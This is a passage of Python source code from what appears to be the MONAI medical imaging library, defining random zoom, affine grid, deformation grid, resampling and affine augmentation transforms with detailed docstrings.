randomize: bool = True) -> NdarrayOrTensor: """ Args: img: channel first array, must have shape: (num_channels, H[, W, ..., ]), randomize: whether to execute `randomize()` function first, default to True. """ if randomize: self.randomize(data=img) if not self._do_transform: return img return Flip(spatial_axis=self._axis)(img) class RandZoom(RandomizableTransform): """ Randomly zooms input arrays with given probability within given zoom range. Args: prob: Probability of zooming. min_zoom: Min zoom factor. Can be float or sequence same size as image. If a float, select a random factor from `[min_zoom, max_zoom]` then apply to all spatial dims to keep the original spatial shape ratio. If a sequence, min_zoom should contain one value for each spatial axis. If 2 values provided for 3D data, use the first value for both H & W dims to keep the same zoom ratio. max_zoom: Max zoom factor. Can be float or sequence same size as image. If a float, select a random factor from `[min_zoom, max_zoom]` then apply to all spatial dims to keep the original spatial shape ratio. If a sequence, max_zoom should contain one value for each spatial axis. If 2 values provided for 3D data, use the first value for both H & W dims to keep the same zoom ratio. mode: {``"nearest"``, ``"linear"``, ``"bilinear"``, ``"bicubic"``, ``"trilinear"``, ``"area"``} The interpolation mode. Defaults to ``"area"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.interpolate.html padding_mode: available modes for numpy array:{``"constant"``, ``"edge"``, ``"linear_ramp"``, ``"maximum"``, ``"mean"``, ``"median"``, ``"minimum"``, ``"reflect"``, ``"symmetric"``, ``"wrap"``, ``"empty"``} available modes for PyTorch Tensor: {``"constant"``, ``"reflect"``, ``"replicate"``, ``"circular"``}. One of the listed string values or a user supplied function. Defaults to ``"constant"``. The mode to pad data after zooming. See also: https://numpy.org/doc/1.18/reference/generated/numpy.pad.html https://pytorch.org/docs/stable/generated/torch.nn.functional.pad.html align_corners: This only has an effect when mode is 'linear', 'bilinear', 'bicubic' or 'trilinear'. Default: None. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.interpolate.html keep_size: Should keep original size (pad if needed), default is True. kwargs: other arguments for the `np.pad` or `torch.pad` function. note that `np.pad` treats channel dimension as the first dimension. """ backend = Zoom.backend def __init__( self, prob: float = 0.1, min_zoom: Union[Sequence[float], float] = 0.9, max_zoom: Union[Sequence[float], float] = 1.1, mode: Union[InterpolateMode, str] = InterpolateMode.AREA, padding_mode: Union[NumpyPadMode, PytorchPadMode, str] = NumpyPadMode.EDGE, align_corners: Optional[bool] = None, keep_size: bool = True, **kwargs, ) -> None: RandomizableTransform.__init__(self, prob) self.min_zoom = ensure_tuple(min_zoom) self.max_zoom = ensure_tuple(max_zoom) if len(self.min_zoom) != len(self.max_zoom): raise AssertionError("min_zoom and max_zoom must have same length.") self.mode: InterpolateMode = look_up_option(mode, InterpolateMode) self.padding_mode = padding_mode self.align_corners = align_corners self.keep_size = keep_size self.kwargs = kwargs self._zoom: Sequence[float] = [1.0] def randomize(self, img: NdarrayOrTensor) -> None: super().randomize(None) if not self._do_transform: return None self._zoom = [self.R.uniform(l, h) for l, h in zip(self.min_zoom, self.max_zoom)] if len(self._zoom) == 1: # to keep the spatial shape ratio, use same random zoom factor for all dims self._zoom = ensure_tuple_rep(self._zoom[0], img.ndim - 1) elif len(self._zoom) == 2 and img.ndim > 3: # if 2 zoom factors provided for 3D data, use the first factor for H and W dims, second factor for D dim self._zoom = ensure_tuple_rep(self._zoom[0], img.ndim - 2) + ensure_tuple(self._zoom[-1]) def __call__( self, img: NdarrayOrTensor, mode: Optional[Union[InterpolateMode, str]] = None, padding_mode: Optional[Union[NumpyPadMode, PytorchPadMode, str]] = None, align_corners: Optional[bool] = None, randomize: bool = True, ) -> NdarrayOrTensor: """ Args: img: channel first array, must have shape 2D: (nchannels, H, W), or 3D: (nchannels, H, W, D). mode: {``"nearest"``, ``"linear"``, ``"bilinear"``, ``"bicubic"``, ``"trilinear"``, ``"area"``} The interpolation mode. Defaults to ``self.mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.interpolate.html padding_mode: available modes for numpy array:{``"constant"``, ``"edge"``, ``"linear_ramp"``, ``"maximum"``, ``"mean"``, ``"median"``, ``"minimum"``, ``"reflect"``, ``"symmetric"``, ``"wrap"``, ``"empty"``} available modes for PyTorch Tensor: {``"constant"``, ``"reflect"``, ``"replicate"``, ``"circular"``}. One of the listed string values or a user supplied function. Defaults to ``"constant"``. The mode to pad data after zooming. See also: https://numpy.org/doc/1.18/reference/generated/numpy.pad.html https://pytorch.org/docs/stable/generated/torch.nn.functional.pad.html align_corners: This only has an effect when mode is 'linear', 'bilinear', 'bicubic' or 'trilinear'. Defaults to ``self.align_corners``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.interpolate.html randomize: whether to execute `randomize()` function first, default to True. """ # match the spatial image dim if randomize: self.randomize(img=img) if not self._do_transform: return img return Zoom( self._zoom, keep_size=self.keep_size, mode=look_up_option(mode or self.mode, InterpolateMode), padding_mode=padding_mode or self.padding_mode, align_corners=align_corners or self.align_corners, **self.kwargs, )(img) class AffineGrid(Transform): """ Affine transforms on the coordinates. Args: rotate_params: a rotation angle in radians, a scalar for 2D image, a tuple of 3 floats for 3D. Defaults to no rotation. shear_params: shearing factors for affine matrix, take a 3D affine as example:: [ [1.0, params[0], params[1], 0.0], [params[2], 1.0, params[3], 0.0], [params[4], params[5], 1.0, 0.0], [0.0, 0.0, 0.0, 1.0], ] a tuple of 2 floats for 2D, a tuple of 6 floats for 3D. Defaults to no shearing. translate_params: a tuple of 2 floats for 2D, a tuple of 3 floats for 3D. Translation is in pixel/voxel relative to the center of the input image. Defaults to no translation. scale_params: scale factor for every spatial dims. a tuple of 2 floats for 2D, a tuple of 3 floats for 3D. Defaults to `1.0`. dtype: data type for the grid computation. Defaults to ``np.float32``. If ``None``, use the data type of input data (if `grid` is provided). device: device on which the tensor will be allocated, if a new grid is generated. affine: If applied, ignore the params (`rotate_params`, etc.) and use the supplied matrix. Should be square with each side = num of image spatial dimensions + 1. .. deprecated:: 0.6.0 ``as_tensor_output`` is deprecated. """ backend = [TransformBackends.TORCH, TransformBackends.NUMPY] @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, rotate_params: Optional[Union[Sequence[float], float]] = None, shear_params: Optional[Union[Sequence[float], float]] = None, translate_params: Optional[Union[Sequence[float], float]] = None, scale_params: Optional[Union[Sequence[float], float]] = None, as_tensor_output: bool = True, device: Optional[torch.device] = None, dtype: DtypeLike = np.float32, affine: Optional[NdarrayOrTensor] = None, ) -> None: self.rotate_params = rotate_params self.shear_params = shear_params self.translate_params = translate_params self.scale_params = scale_params self.device = device self.dtype = dtype self.affine = affine def __call__( self, spatial_size: Optional[Sequence[int]] = None, grid: Optional[NdarrayOrTensor] = None ) -> Tuple[NdarrayOrTensor, NdarrayOrTensor]: """ The grid can be initialized with a `spatial_size` parameter, or provided directly as `grid`. Therefore, either `spatial_size` or `grid` must be provided. When initialising from `spatial_size`, the backend "torch" will be used. Args: spatial_size: output grid size. grid: grid to be transformed. Shape must be (3, H, W) for 2D or (4, H, W, D) for 3D. Raises: ValueError: When ``grid=None`` and ``spatial_size=None``. Incompatible values. """ if grid is None: # create grid from spatial_size if spatial_size is None: raise ValueError("Incompatible values: grid=None and spatial_size=None.") grid = create_grid(spatial_size, device=self.device, backend="torch", dtype=self.dtype) _b = TransformBackends.TORCH if isinstance(grid, torch.Tensor) else TransformBackends.NUMPY _device = grid.device if isinstance(grid, torch.Tensor) else self.device affine: NdarrayOrTensor if self.affine is None: spatial_dims = len(grid.shape) - 1 affine = ( torch.eye(spatial_dims + 1, device=_device) if _b == TransformBackends.TORCH else np.eye(spatial_dims + 1) ) if self.rotate_params: affine = affine @ create_rotate(spatial_dims, self.rotate_params, device=_device, backend=_b) if self.shear_params: affine = affine @ create_shear(spatial_dims, self.shear_params, device=_device, backend=_b) if self.translate_params: affine = affine @ create_translate(spatial_dims, self.translate_params, device=_device, backend=_b) if self.scale_params: affine = affine @ create_scale(spatial_dims, self.scale_params, device=_device, backend=_b) else: affine = self.affine grid, *_ = convert_data_type(grid, torch.Tensor, device=_device, dtype=self.dtype or grid.dtype) affine, *_ = convert_to_dst_type(affine, grid) grid = (affine @ grid.reshape((grid.shape[0], -1))).reshape([-1] + list(grid.shape[1:])) return grid, affine class RandAffineGrid(Randomizable, Transform): """ Generate randomised affine grid. """ backend = AffineGrid.backend @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, rotate_range: RandRange = None, shear_range: RandRange = None, translate_range: RandRange = None, scale_range: RandRange = None, as_tensor_output: bool = True, device: Optional[torch.device] = None, ) -> None: """ Args: rotate_range: angle range in radians. If element `i` is a pair of (min, max) values, then `uniform[-rotate_range[i][0], rotate_range[i][1])` will be used to generate the rotation parameter for the `i`th spatial dimension. If not, `uniform[-rotate_range[i], rotate_range[i])` will be used. This can be altered on a per-dimension basis. E.g., `((0,3), 1, ...)`: for dim0, rotation will be in range `[0, 3]`, and for dim1 `[-1, 1]` will be used. Setting a single value will use `[-x, x]` for dim0 and nothing for the remaining dimensions. shear_range: shear range with format matching `rotate_range`, it defines the range to randomly select shearing factors(a tuple of 2 floats for 2D, a tuple of 6 floats for 3D) for affine matrix, take a 3D affine as example:: [ [1.0, params[0], params[1], 0.0], [params[2], 1.0, params[3], 0.0], [params[4], params[5], 1.0, 0.0], [0.0, 0.0, 0.0, 1.0], ] translate_range: translate range with format matching `rotate_range`, it defines the range to randomly select voxels to translate for every spatial dims. scale_range: scaling range with format matching `rotate_range`. it defines the range to randomly select the scale factor to translate for every spatial dims. A value of 1.0 is added to the result. This allows 0 to correspond to no change (i.e., a scaling of 1.0). device: device to store the output grid data. See also: - :py:meth:`monai.transforms.utils.create_rotate` - :py:meth:`monai.transforms.utils.create_shear` - :py:meth:`monai.transforms.utils.create_translate` - :py:meth:`monai.transforms.utils.create_scale` .. deprecated:: 0.6.0 ``as_tensor_output`` is deprecated. """ self.rotate_range = ensure_tuple(rotate_range) self.shear_range = ensure_tuple(shear_range) self.translate_range = ensure_tuple(translate_range) self.scale_range = ensure_tuple(scale_range) self.rotate_params: Optional[List[float]] = None self.shear_params: Optional[List[float]] = None self.translate_params: Optional[List[float]] = None self.scale_params: Optional[List[float]] = None self.device = device self.affine: Optional[NdarrayOrTensor] = None def _get_rand_param(self, param_range, add_scalar: float = 0.0): out_param = [] for f in param_range: if issequenceiterable(f): if len(f) != 2: raise ValueError("If giving range as [min,max], should only have two elements per dim.") out_param.append(self.R.uniform(f[0], f[1]) + add_scalar) elif f is not None: out_param.append(self.R.uniform(-f, f) + add_scalar) return out_param def randomize(self, data: Optional[Any] = None) -> None: self.rotate_params = self._get_rand_param(self.rotate_range) self.shear_params = self._get_rand_param(self.shear_range) self.translate_params = self._get_rand_param(self.translate_range) self.scale_params = self._get_rand_param(self.scale_range, 1.0) def __call__( self, spatial_size: Optional[Sequence[int]] = None, grid: Optional[NdarrayOrTensor] = None ) -> NdarrayOrTensor: """ Args: spatial_size: output grid size. grid: grid to be transformed. Shape must be (3, H, W) for 2D or (4, H, W, D) for 3D. Returns: a 2D (3xHxW) or 3D (4xHxWxD) grid. """ self.randomize() affine_grid = AffineGrid( rotate_params=self.rotate_params, shear_params=self.shear_params, translate_params=self.translate_params, scale_params=self.scale_params, device=self.device, ) _grid: NdarrayOrTensor _grid, self.affine = affine_grid(spatial_size, grid) return _grid def get_transformation_matrix(self) -> Optional[NdarrayOrTensor]: """Get the most recently applied transformation matrix""" return self.affine class RandDeformGrid(Randomizable, Transform): """ Generate random deformation grid. """ backend = [TransformBackends.TORCH] def __init__( self, spacing: Union[Sequence[float], float], magnitude_range: Tuple[float, float], as_tensor_output: bool = True, device: Optional[torch.device] = None, ) -> None: """ Args: spacing: spacing of the grid in 2D or 3D. e.g., spacing=(1, 1) indicates pixel-wise deformation in 2D, spacing=(1, 1, 1) indicates voxel-wise deformation in 3D, spacing=(2, 2) indicates deformation field defined on every other pixel in 2D. magnitude_range: the random offsets will be generated from `uniform[magnitude[0], magnitude[1])`. as_tensor_output: whether to output tensor instead of numpy array. defaults to True. device: device to store the output grid data. """ self.spacing = spacing self.magnitude = magnitude_range self.rand_mag = 1.0 self.as_tensor_output = as_tensor_output self.random_offset: np.ndarray self.device = device def randomize(self, grid_size: Sequence[int]) -> None: self.random_offset = self.R.normal(size=([len(grid_size)] + list(grid_size))).astype(np.float32, copy=False) self.rand_mag = self.R.uniform(self.magnitude[0], self.magnitude[1]) def __call__(self, spatial_size: Sequence[int]): """ Args: spatial_size: spatial size of the grid. """ self.spacing = fall_back_tuple(self.spacing, (1.0,) * len(spatial_size)) control_grid = create_control_grid(spatial_size, self.spacing, device=self.device, backend="torch") self.randomize(control_grid.shape[1:]) _offset, *_ = convert_to_dst_type(self.rand_mag * self.random_offset, control_grid) control_grid[: len(spatial_size)] += _offset if not self.as_tensor_output: control_grid, *_ = convert_data_type(control_grid, output_type=np.ndarray, dtype=np.float32) return control_grid class Resample(Transform): backend = [TransformBackends.TORCH] @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, as_tensor_output: bool = True, norm_coords: bool = True, device: Optional[torch.device] = None, dtype: DtypeLike = np.float64, ) -> None: """ computes output image using values from `img`, locations from `grid` using pytorch. supports spatially 2D or 3D (num_channels, H, W[, D]). Args: mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"border"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html When `USE_COMPILED` is `True`, this argument uses ``"nearest"``, ``"bilinear"``, ``"bicubic"`` to indicate 0, 1, 3 order interpolations. See also: https://docs.monai.io/en/stable/networks.html#grid-pull norm_coords: whether to normalize the coordinates from `[-(size-1)/2, (size-1)/2]` to `[0, size - 1]` (for ``monai/csrc`` implementation) or `[-1, 1]` (for torch ``grid_sample`` implementation) to be compatible with the underlying resampling API. device: device on which the tensor will be allocated. dtype: data type for resampling computation. Defaults to ``np.float64`` for best precision. If ``None``, use the data type of input data. To be compatible with other modules, the output data type is always `float32`. .. deprecated:: 0.6.0 ``as_tensor_output`` is deprecated. """ self.mode: GridSampleMode = look_up_option(mode, GridSampleMode) self.padding_mode: GridSamplePadMode = look_up_option(padding_mode, GridSamplePadMode) self.norm_coords = norm_coords self.device = device self.dtype = dtype def __call__( self, img: NdarrayOrTensor, grid: Optional[NdarrayOrTensor] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, dtype: DtypeLike = None, ) -> NdarrayOrTensor: """ Args: img: shape must be (num_channels, H, W[, D]). grid: shape must be (3, H, W) for 2D or (4, H, W, D) for 3D. if ``norm_coords`` is True, the grid values must be in `[-(size-1)/2, (size-1)/2]`. if ``USE_COMPILED=True`` and ``norm_coords=False``, grid values must be in `[0, size-1]`. if ``USE_COMPILED=False`` and ``norm_coords=False``, grid values must be in `[-1, 1]`. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``self.mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html When `USE_COMPILED` is `True`, this argument uses ``"nearest"``, ``"bilinear"``, ``"bicubic"`` to indicate 0, 1, 3 order interpolations. See also: https://docs.monai.io/en/stable/networks.html#grid-pull padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``self.padding_mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html dtype: data type for resampling computation. Defaults to ``self.dtype``. To be compatible with other modules, the output data type is always `float32`. See also: :py:const:`monai.config.USE_COMPILED` """ if grid is None: raise ValueError("Unknown grid.") _device = img.device if isinstance(img, torch.Tensor) else self.device _dtype = dtype or self.dtype or img.dtype img_t, *_ = convert_data_type(img, torch.Tensor, device=_device, dtype=_dtype) grid_t = convert_to_dst_type(grid, img_t)[0] if grid_t is grid: # copy if needed (convert_data_type converts to contiguous) grid_t = grid_t.clone(memory_format=torch.contiguous_format) sr = min(len(img_t.shape[1:]), 3) if USE_COMPILED: if self.norm_coords: for i, dim in enumerate(img_t.shape[1 : 1 + sr]): grid_t[i] = (max(dim, 2) / 2.0 - 0.5 + grid_t[i]) / grid_t[-1:] grid_t = moveaxis(grid_t[:sr], 0, -1) # type: ignore _padding_mode = self.padding_mode if padding_mode is None else padding_mode _padding_mode = _padding_mode.value if isinstance(_padding_mode, GridSamplePadMode) else _padding_mode bound = 1 if _padding_mode == "reflection" else _padding_mode _interp_mode = self.mode if mode is None else mode _interp_mode = _interp_mode.value if isinstance(_interp_mode, GridSampleMode) else _interp_mode if _interp_mode == "bicubic": interp = 3 elif _interp_mode == "bilinear": interp = 1 else: interp = _interp_mode # type: ignore out = grid_pull( img_t.unsqueeze(0), grid_t.unsqueeze(0), bound=bound, extrapolate=True, interpolation=interp )[0] else: if self.norm_coords: for i, dim in enumerate(img_t.shape[1 : 1 + sr]): grid_t[i] = 2.0 / (max(2, dim) - 1.0) * grid_t[i] / grid_t[-1:] index_ordering: List[int] = list(range(sr - 1, -1, -1)) grid_t = moveaxis(grid_t[index_ordering], 0, -1) # type: ignore out = torch.nn.functional.grid_sample( img_t.unsqueeze(0), grid_t.unsqueeze(0), mode=self.mode.value if mode is None else GridSampleMode(mode).value, padding_mode=self.padding_mode.value if padding_mode is None else GridSamplePadMode(padding_mode).value, align_corners=True, )[0] out_val, *_ = convert_to_dst_type(out, dst=img, dtype=np.float32) return out_val class Affine(Transform): """ Transform ``img`` given the affine parameters. A tutorial is available: https://github.com/Project-MONAI/tutorials/blob/0.6.0/modules/transforms_demo_2d.ipynb. """ backend = list(set(AffineGrid.backend) & set(Resample.backend)) @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, rotate_params: Optional[Union[Sequence[float], float]] = None, shear_params: Optional[Union[Sequence[float], float]] = None, translate_params: Optional[Union[Sequence[float], float]] = None, scale_params: Optional[Union[Sequence[float], float]] = None, affine: Optional[NdarrayOrTensor] = None, spatial_size: Optional[Union[Sequence[int], int]] = None, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.REFLECTION, norm_coords: bool = True, as_tensor_output: bool = True, device: Optional[torch.device] = None, dtype: DtypeLike = np.float32, image_only: bool = False, ) -> None: """ The affine transformations are applied in rotate, shear, translate, scale order. Args: rotate_params: a rotation angle in radians, a scalar for 2D image, a tuple of 3 floats for 3D. Defaults to no rotation. shear_params: shearing factors for affine matrix, take a 3D affine as example:: [ [1.0, params[0], params[1], 0.0], [params[2], 1.0, params[3], 0.0], [params[4], params[5], 1.0, 0.0], [0.0, 0.0, 0.0, 1.0], ] a tuple of 2 floats for 2D, a tuple of 6 floats for 3D. Defaults to no shearing. translate_params: a tuple of 2 floats for 2D, a tuple of 3 floats for 3D. Translation is in pixel/voxel relative to the center of the input image. Defaults to no translation. scale_params: scale factor for every spatial dims. a tuple of 2 floats for 2D, a tuple of 3 floats for 3D. Defaults to `1.0`. affine: If applied, ignore the params (`rotate_params`, etc.) and use the supplied matrix. Should be square with each side = num of image spatial dimensions + 1. spatial_size: output image spatial size. if `spatial_size` and `self.spatial_size` are not defined, or smaller than 1, the transform will use the spatial size of `img`. if some components of the `spatial_size` are non-positive values, the transform will use the corresponding components of img size. For example, `spatial_size=(32, -1)` will be adapted to `(32, 64)` if the second spatial dimension size of img is `64`. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html When `USE_COMPILED` is `True`, this argument uses ``"nearest"``, ``"bilinear"``, ``"bicubic"`` to indicate 0, 1, 3 order interpolations. See also: https://docs.monai.io/en/stable/networks.html#grid-pull padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"reflection"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html norm_coords: whether to normalize the coordinates from `[-(size-1)/2, (size-1)/2]` to `[0, size - 1]` or `[-1, 1]` to be compatible with the underlying resampling API. If the coordinates are generated by ``monai.transforms.utils.create_grid`` and the ``affine`` doesn't include the normalization, this argument should be set to ``True``. If the output `self.affine_grid` is already normalized, this argument should be set to ``False``. device: device on which the tensor will be allocated. dtype: data type for resampling computation. Defaults to ``np.float32``. If ``None``, use the data type of input data. To be compatible with other modules, the output data type is always `float32`. image_only: if True return only the image volume, otherwise return (image, affine). .. deprecated:: 0.6.0 ``as_tensor_output`` is deprecated. """ self.affine_grid = AffineGrid( rotate_params=rotate_params, shear_params=shear_params, translate_params=translate_params, scale_params=scale_params, affine=affine, dtype=dtype, device=device, ) self.image_only = image_only self.resampler = Resample(norm_coords=norm_coords, device=device, dtype=dtype) self.spatial_size = spatial_size self.mode: GridSampleMode = look_up_option(mode, GridSampleMode) self.padding_mode: GridSamplePadMode = look_up_option(padding_mode, GridSamplePadMode) def __call__( self, img: NdarrayOrTensor, spatial_size: Optional[Union[Sequence[int], int]] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, ) -> Union[NdarrayOrTensor, Tuple[NdarrayOrTensor, NdarrayOrTensor]]: """ Args: img: shape must be (num_channels, H, W[, D]), spatial_size: output image spatial size. if `spatial_size` and `self.spatial_size` are not defined, or smaller than 1, the transform will use the spatial size of `img`. if `img` has two spatial dimensions, `spatial_size` should have 2 elements [h, w]. if `img` has three spatial dimensions, `spatial_size` should have 3 elements [h, w, d]. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``self.mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html When `USE_COMPILED` is `True`, this argument uses ``"nearest"``, ``"bilinear"``, ``"bicubic"`` to indicate 0, 1, 3 order interpolations. See also: https://docs.monai.io/en/stable/networks.html#grid-pull padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``self.padding_mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html """ sp_size = fall_back_tuple(spatial_size or self.spatial_size, img.shape[1:]) grid, affine = self.affine_grid(spatial_size=sp_size) ret = self.resampler(img, grid=grid, mode=mode or self.mode, padding_mode=padding_mode or self.padding_mode) return ret if self.image_only else (ret, affine) class RandAffine(RandomizableTransform): """ Random affine transform. A tutorial is available: https://github.com/Project-MONAI/tutorials/blob/0.6.0/modules/transforms_demo_2d.ipynb. """ backend = Affine.backend @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, prob: float = 0.1, rotate_range: RandRange = None, shear_range: RandRange = None, translate_range: RandRange = None, scale_range: RandRange = None, spatial_size: Optional[Union[Sequence[int], int]] = None, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.REFLECTION, cache_grid: bool = False, as_tensor_output: bool = True, device: Optional[torch.device] = None, ) -> None: """ Args: prob: probability of returning a randomized affine grid. defaults to 0.1, with 10% chance returns a randomized grid. rotate_range: angle range in radians. If element `i` is a pair of (min, max) values, then `uniform[-rotate_range[i][0], rotate_range[i][1])` will be used to generate the rotation parameter for the `i`th spatial dimension. If not, `uniform[-rotate_range[i], rotate_range[i])` will be used. This can be altered on a per-dimension basis. E.g., `((0,3), 1, ...)`: for dim0, rotation will be in range `[0, 3]`, and for dim1 `[-1, 1]` will be used. Setting a single value will use `[-x, x]` for dim0 and nothing for the remaining dimensions. shear_range: shear range with format matching `rotate_range`, it defines the range to randomly select shearing factors(a tuple of 2 floats for 2D, a tuple of 6 floats for 3D) for affine matrix, take a 3D affine as example:: [ [1.0, params[0], params[1], 0.0], [params[2], 1.0, params[3], 0.0], [params[4], params[5], 1.0, 0.0], [0.0, 0.0, 0.0, 1.0], ] translate_range: translate range with format matching `rotate_range`, it defines the range to randomly select pixel/voxel to translate for every spatial dims. scale_range: scaling range with format matching `rotate_range`. it defines the range to randomly select the scale factor to translate for every spatial dims. A value of 1.0 is added to the result. This allows 0 to correspond to no change (i.e., a scaling of 1.0). spatial_size: output image spatial size. if `spatial_size` and `self.spatial_size` are not defined, or smaller than 1, the transform will use the spatial size of `img`. if some components of the `spatial_size` are non-positive values, the transform will use the corresponding components of img size. For example, `spatial_size=(32, -1)` will be adapted to `(32, 64)` if the second spatial dimension size of img is `64`. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"reflection"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html cache_grid: whether to cache the identity sampling grid. If the spatial size is not dynamically defined by input image, enabling this option could accelerate the transform. device: device on which the tensor will be allocated. See also: - :py:class:`RandAffineGrid` for the random affine parameters configurations. - :py:class:`Affine` for the affine transformation parameters configurations. .. deprecated:: 0.6.0 ``as_tensor_output`` is deprecated. """ RandomizableTransform.__init__(self, prob) self.rand_affine_grid = RandAffineGrid( rotate_range=rotate_range, shear_range=shear_range, translate_range=translate_range, scale_range=scale_range, device=device, ) self.resampler = Resample(device=device) self.spatial_size = spatial_size self.cache_grid = cache_grid self._cached_grid = self._init_identity_cache() self.mode: GridSampleMode = GridSampleMode(mode) self.padding_mode: GridSamplePadMode = GridSamplePadMode(padding_mode) def _init_identity_cache(self): """ Create cache of the identity grid if cache_grid=True and spatial_size is known. """ if self.spatial_size is None: if self.cache_grid: warnings.warn( "cache_grid=True is not compatible with the dynamic spatial_size, please specify 'spatial_size'." ) return None _sp_size = ensure_tuple(self.spatial_size) _ndim = len(_sp_size) if _sp_size != fall_back_tuple(_sp_size, [1] * _ndim) or _sp_size != fall_back_tuple(_sp_size, [2] * _ndim): # dynamic shape because it falls back to different outcomes if self.cache_grid: warnings.warn( "cache_grid=True is not compatible with the dynamic spatial_size " f"'spatial_size={self.spatial_size}', please specify 'spatial_size'." ) return None return create_grid(spatial_size=_sp_size, device=self.rand_affine_grid.device, backend="torch") def get_identity_grid(self, spatial_size: Sequence[int]): """ Return a cached or new identity grid depends on the availability. Args: spatial_size: non-dynamic spatial size """ ndim = len(spatial_size) if spatial_size != fall_back_tuple(spatial_size, [1] * ndim) or spatial_size != fall_back_tuple( spatial_size, [2] * ndim ): raise RuntimeError(f"spatial_size should not be dynamic, got {spatial_size}.") return ( create_grid(spatial_size=spatial_size, device=self.rand_affine_grid.device, backend="torch") if self._cached_grid is None else self._cached_grid ) def set_random_state( self, seed: Optional[int] = None, state: Optional[np.random.RandomState] = None ) -> "RandAffine": self.rand_affine_grid.set_random_state(seed, state) super().set_random_state(seed, state) return self def randomize(self, data: Optional[Any] = None) -> None: super().randomize(None) if not self._do_transform: return None self.rand_affine_grid.randomize() def __call__( self, img: NdarrayOrTensor, spatial_size: Optional[Union[Sequence[int], int]] = None, mode: Optional[Union[GridSampleMode, str]] = None, padding_mode: Optional[Union[GridSamplePadMode, str]] = None, randomize: bool = True, ) -> NdarrayOrTensor: """ Args: img: shape must be (num_channels, H, W[, D]), spatial_size: output image spatial size. if `spatial_size` and `self.spatial_size` are not defined, or smaller than 1, the transform will use the spatial size of `img`. if `img` has two spatial dimensions, `spatial_size` should have 2 elements [h, w]. if `img` has three spatial dimensions, `spatial_size` should have 3 elements [h, w, d]. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``self.mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``self.padding_mode``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html randomize: whether to execute `randomize()` function first, default to True. """ if randomize: self.randomize() # if not doing transform and spatial size doesn't change, nothing to do # except convert to float and device sp_size = fall_back_tuple(spatial_size or self.spatial_size, img.shape[1:]) do_resampling = self._do_transform or (sp_size != ensure_tuple(img.shape[1:])) if not do_resampling: img, *_ = convert_data_type(img, dtype=torch.float32, device=self.resampler.device) grid = self.get_identity_grid(sp_size) if self._do_transform: grid = self.rand_affine_grid(grid=grid) out: NdarrayOrTensor = self.resampler( img=img, grid=grid, mode=mode or self.mode, padding_mode=padding_mode or self.padding_mode ) return out class Rand2DElastic(RandomizableTransform): """ Random elastic deformation and affine in 2D. A tutorial is available: https://github.com/Project-MONAI/tutorials/blob/0.6.0/modules/transforms_demo_2d.ipynb. """ backend = Resample.backend @deprecated_arg(name="as_tensor_output", since="0.6") def __init__( self, spacing: Union[Tuple[float, float], float], magnitude_range: Tuple[float, float], prob: float = 0.1, rotate_range: RandRange = None, shear_range: RandRange = None, translate_range: RandRange = None, scale_range: RandRange = None, spatial_size: Optional[Union[Tuple[int, int], int]] = None, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.REFLECTION, as_tensor_output: bool = False, device: Optional[torch.device] = None, ) -> None: """ Args: spacing : distance in between the control points. magnitude_range: the random offsets will be generated from ``uniform[magnitude[0], magnitude[1])``. prob: probability of returning a randomized elastic transform. defaults to 0.1, with 10% chance returns a randomized elastic transform, otherwise returns a ``spatial_size`` centered area extracted from the input image. rotate_range: angle range in radians. If element `i` is a pair of (min, max) values, then `uniform[-rotate_range[i][0], rotate_range[i][1])` will be used to generate the rotation parameter for the `i`th spatial dimension. If not, `uniform[-rotate_range[i], rotate_range[i])` will be used. This can be altered on a per-dimension basis. E.g., 